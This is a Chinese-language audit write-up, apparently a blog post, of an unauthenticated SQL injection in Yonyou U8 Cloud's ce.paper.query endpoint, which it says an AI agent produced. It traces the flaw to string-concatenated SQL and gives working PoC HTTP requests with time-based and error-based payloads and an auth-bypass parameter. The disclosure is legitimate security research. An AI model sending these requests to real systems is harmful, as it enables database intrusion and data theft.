前言
本次漏洞分析全程由opencode+gemini-3-pro-high 完成。

我搭建好环境以及mcp后,提出需求,其余均为agent自动完成。

效果还行。
审计报告
1. 漏洞概述
在用友 U8 Cloud 系统的 /u8cloud/openapi/ce.paper.query 接口中发现一处严重的高危 SQL注入漏洞。该漏洞允许未经身份验证的远程攻击者通过构造恶意的 JSON 请求,在数据库中执行任意 SQL 命令。漏洞的根源在于服务端未对用户输入的 pk_group 和 pk_paper 参数进行任何过滤或预编译处理,直接将其拼接至 SQL 查询语句中。
- 漏洞类型: SQL 注入 (Blind/Stacked Queries)
- 影响组件: 用友 U8 Cloud (ce.paper.query 接口)
- 危险等级: 高危 (Critical)
- 利用条件:
- 网络可达
/u8cloud/openapi/接口 - 无需有效身份认证 (可通过
appcode=lbsj绕过或直接调用)
- 网络可达
2. 漏洞详细分析路径
2.1 入口点与 URL 路由处理
攻击者发起的 HTTP 请求首先由 Servlet 容器接收,并根据 URL 路径进行分发。
-
Servlet 映射 (
ExtSystemInvokerServlet):- 在
web.xml或 Servlet 注册中,路径/u8cloud/openapi/*被映射到nc.bs.framework.server.extsys.ExtSystemInvokerServlet。 - 该 Servlet 的
doAction方法会拦截请求。它通过遍历ExtSystemServerEnum枚举来匹配 URL 前缀。 - 匹配到
OPENAPI枚举项 (/u8cloud/openapi/) 后,确定服务名称为u8cloud_openapi。
- 在
-
服务分发 (
APIOpenServletForJSON):ExtSystemInvokerServlet使用NCLocator查找名为u8cloud_openapi的服务组件。- 该服务映射到
u8c.server.APIOpenServletForJSON类。 APIOpenServletForJSON.doAction将请求转发给u8c.server.APIOpenController处理。
-
路径解析与 Action 映射 (
APIOpenController):APIOpenController.forWard()方法被调用。- 路径转换: 方法内部调用
getPath(request),将 URL 路径/ce/paper/query转换为点分字符串ce.paper.query。 - JSON 解析: 控制器读取 HTTP 请求体。由于我们在 URL 中指定了
isEncrypt=N,控制器跳过解密步骤,直接调用JSONObject.fromObject()解析 JSON 数据。 - 动态调用: 控制器查找实现了
IInvokeWithJSon接口的服务,并调用其invoke方法,传入解析后的路径ce.paper.query和 JSON 数据。 - 框架根据
ce.paper.query标识符(对应 Action 的billMark或配置)将请求路由到u8c.bs.ce.action.PaperQueryAction。
2.2 参数提取与对象转换
-
Action 处理 (
PaperQueryAction):PaperQueryAction继承自AbstractBatchSaveAPIPubVOAction<PaperExecuteVO>。- 该基类负责将输入的 JSON 对象转换为 Java Value Object (VO) 数组。
- 关键点: JSON 数据必须包含一个以
billMark(此处为"paperexecute") 命名的键,其值为一个数组。例如:{"paperexecute": [{"pk_group": "...", "pk_paper": "..."}]}。 - 框架使用反射将 JSON 数组中的字段(如
pk_group,pk_paper)映射到PaperExecuteVO对象的对应属性。此时,恶意的 SQL 注入 payload (如1'; WAITFOR DELAY '0:0:5'--) 被注入到 VO 对象的pk_group属性中。
-
业务逻辑调用:
PaperQueryAction.save()方法被调用,传入包含恶意数据的PaperExecuteVO[]数组。- 随后调用业务处理类
PaperBP().queryResult(vos)。
2.3 污点传播与 SQL 构建 (Sink)
-
业务处理 (
PaperBP):PaperBP.queryResult方法从数组中取出第一个 VO 对象:executeVOs[0]。- 它提取出
pk_paper和pk_group属性值。 - 调用数据访问对象:
new PaperResultDMO().query(pk_paper, pk_group)。
-
漏洞触发点 (
PaperResultDMO):-
在
u8c.bs.ce.dmo.PaperResultDMO.java的query方法中,存在直接的字符串拼接: -
public PaperResultVO query(String pk_paper, String pk_questiongroup) throws BusinessException { // 严重漏洞:直接将参数拼接到 SQL WHERE 子句中 PaperResultVO[] vos = (PaperResultVO[])new SuperVOQuery(PaperResultVO.class) .queryVOByWhere(" pk_paper = '" + pk_paper + "' and pk_group = '" + pk_questiongroup + "' "); // ... 后续还有第二次拼接 ... TaskVO[] tasks = (TaskVO[])new SuperVOQuery(TaskVO.class) .queryVOByWhere("pk_paper = '" + pk_paper + "' and pk_group = '" + pk_questiongroup + "'"); } -
当
pk_questiongroup包含1'; WAITFOR DELAY '0:0:5'--时,最终执行的 SQL 变为:SELECT ... FROM ... WHERE pk_paper = '1' and pk_group = '1'; WAITFOR DELAY '0:0:5'--'
-
-
数据库(如 SQL Server)支持堆叠查询(Stacked Queries),因此会先执行前面的 SELECT 语句,紧接着执行
WAITFOR DELAY命令,导致数据库暂停响应 5 秒。
3. 漏洞复现 (PoC)
通过 Fuzz 测试验证,以下 HTTP 请求可稳定触发漏洞。
路径:/u8cloud/openapi/ce/paper/query 或者 /u8cloud/openapi/ce.paper.query 均可
Request:
POST /u8cloud/openapi/ce.paper.query?appcode=lbsj&isEncrypt=N&trantype=paperexecute HTTP/1.1
Host: u8cloud.mrxn.net
Content-Type: application/json
Content-Length: 108
{
"paperexecute": [
{
"pk_group": "1'; WAITFOR DELAY '0:0:5'--",
"pk_paper": "1"
}
]
}
POST /u8cloud/openapi/ce/paper/query?appcode=lbsj&isEncrypt=N HTTP/1.1
Host: u8cloud.mrxn.net
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 95
{
"paperexecute": [
{ "pk_group": "1'; WAITFOR DELAY '0:0:5'--", "pk_paper": "1" }
]
}

延时 5 秒
报错注入一样
POST /u8cloud/openapi/ce/paper/query?appcode=lbsj&isEncrypt=N HTTP/1.1
Host: u8cloud.mrxn.net
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 95
{
"paperexecute": [
{ "pk_group": "'-1/user--", "pk_paper": "1" }
]
}
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=451D9D503710ADFFEC88E29923BE4AE6.server; Path=/; HttpOnly
Content-Type: application/json;charset=utf-8
{
"status": "falied",
"errorcode": "-32000",
"errormsg": "U8C返回信息:在将 nvarchar 值 \u0027dbo\u0027 转换成数据类型 int 时失败。"
} 

